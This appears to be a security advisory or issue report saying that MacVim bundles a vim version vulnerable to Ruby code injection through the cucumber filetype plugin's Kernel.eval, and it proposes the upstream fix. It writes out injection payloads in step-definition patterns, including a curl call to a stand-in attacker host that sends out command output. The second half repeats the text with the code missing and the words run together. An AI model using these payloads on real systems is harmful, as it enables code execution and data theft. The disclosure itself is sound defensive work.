[Security] MacVim affected by GHSA-4473-94jm-w5x9 — cucumber filetype plugin Ruby code injection via crafted step patterns (vim < 9.2.0496)
Summary
MacVim bundles the vim runtime at version 9.2 (patches 1-321 in the current build), which is
below the patched version 9.2.0496 that fixes a code injection vulnerability in the cucumber
filetype plugin's s:stepmatch() function. MacVim supports Ruby (+ruby), making it
susceptible to this attack.
Vulnerability Details
- GHSA: GHSA-4473-94jm-w5x9
- Upstream fix: vim 9.2.0496 (commit
a65a52d684bc58535ad28a4ae824d22e76399934)
- Affected code:
runtime/ftplugin/cucumber.vim — s:stepmatch() function
- Vulnerability type: CWE-94 — Improper Control of Generation of Code (Code Injection)
Root Cause
In s:stepmatch(), when Vimscript's built-in pattern matching fails, the function falls back
to using Ruby's Kernel.eval() to evaluate a regex constructed from an attacker-controlled
pattern:
" runtime/ftplugin/cucumber.vim lines 98-99 (macvim r183)
if has("ruby") && pattern !~ '\\\@<!#{'
ruby VIM.command("return #{if (begin; Kernel.eval('/'+VIM.evaluate('pattern')+'/'); rescue SyntaxError; end) === VIM.evaluate('a:target') then 1 else 0 end}")
The pattern variable is derived from step-definition strings in .rb files in the
project (via s:allsteps()). If a step definition file contains a pattern like:
/) + system('touch /tmp/pwned') + (/
then Kernel.eval('/'+pattern+'/') becomes:
Kernel.eval('//) + system('touch /tmp/pwned') + (//')
The rescue SyntaxError guard only prevents a crash; it does not prevent execution of valid
Ruby expressions. An attacker can craft patterns that both execute arbitrary Ruby and are
syntactically valid.
The !~ '\\\@<!#{' check only guards against Ruby string interpolation (#{...}) and does
not protect against regex literal injection.
Attack Scenario
- An attacker places a malicious
.rb step-definitions file in the project's
features/step_definitions/ directory with a crafted step pattern:
Given(/\/) + system('curl http://attacker.com/?$(id)') + (\// ) do
end
- The victim opens a
.feature file in MacVim (which has +ruby) and uses the
[d or ]d step-jump mappings that call s:steps() → s:stepmatch().
Kernel.eval executes the injected Ruby expression, running system() with
arbitrary shell commands.
Affected MacVim Code
" cucumber.vim line 99 (macvim r183)
ruby VIM.command("return #{if (begin; Kernel.eval('/'+VIM.evaluate('pattern')+'/'); rescue SyntaxError; end) === VIM.evaluate('a:target') then 1 else 0 end}")
Affected MacVim Version
MacVim r183 (vim 9.2 patches 1-321) — current HEAD as of 2026-05-18.
The fix commit a65a52d684bc58535ad28a4ae824d22e76399934 from vim/vim is not present
in the macvim-dev/macvim repository.
Suggested Fix
Merge or cherry-pick vim/vim patches up to at least 9.2.0496.
The fix replaces Kernel.eval('/'+pattern+'/') with Regexp.new(pattern), which creates a
regex object directly from the string without evaluating arbitrary Ruby code:
# Fixed (vim 9.2.0496):
ruby VIM.command("return #{if (begin; Regexp.new(VIM.evaluate('pattern')); rescue RegexpError; end) === VIM.evaluate('a:target') then 1 else 0 end}")
Regexp.new() only constructs a regular expression; it cannot execute shell commands or
arbitrary Ruby expressions even if the pattern contains injection attempts.
References
[Security] MacVim affected by GHSA-4473-94jm-w5x9 — cucumber filetype plugin Ruby code injection via crafted step patterns (vim < 9.2.0496)
Summary
MacVim bundles the vim runtime at version 9.2 (patches 1-321 in the current build), which is
below the patched version 9.2.0496 that fixes a code injection vulnerability in the cucumber
filetype plugin's
s:stepmatch()function. MacVim supports Ruby (+ruby), making itsusceptible to this attack.
Vulnerability Details
a65a52d684bc58535ad28a4ae824d22e76399934)runtime/ftplugin/cucumber.vim—s:stepmatch()functionRoot Cause
In
s:stepmatch(), when Vimscript's built-in pattern matching fails, the function falls backto using Ruby's
Kernel.eval()to evaluate a regex constructed from an attacker-controlledpattern:
The
patternvariable is derived from step-definition strings in.rbfiles in theproject (via
s:allsteps()). If a step definition file contains a pattern like:then
Kernel.eval('/'+pattern+'/')becomes:The
rescue SyntaxErrorguard only prevents a crash; it does not prevent execution of validRuby expressions. An attacker can craft patterns that both execute arbitrary Ruby and are
syntactically valid.
The
!~ '\\\@<!#{'check only guards against Ruby string interpolation (#{...}) and doesnot protect against regex literal injection.
Attack Scenario
.rbstep-definitions file in the project'sfeatures/step_definitions/directory with a crafted step pattern:.featurefile in MacVim (which has+ruby) and uses the[dor]dstep-jump mappings that calls:steps()→s:stepmatch().Kernel.evalexecutes the injected Ruby expression, runningsystem()witharbitrary shell commands.
Affected MacVim Code
Affected MacVim Version
MacVim r183 (vim 9.2 patches 1-321) — current HEAD as of 2026-05-18.
The fix commit
a65a52d684bc58535ad28a4ae824d22e76399934fromvim/vimis not presentin the
macvim-dev/macvimrepository.Suggested Fix
Merge or cherry-pick
vim/vimpatches up to at least 9.2.0496.The fix replaces
Kernel.eval('/'+pattern+'/')withRegexp.new(pattern), which creates aregex object directly from the string without evaluating arbitrary Ruby code:
Regexp.new()only constructs a regular expression; it cannot execute shell commands orarbitrary Ruby expressions even if the pattern contains injection attempts.
References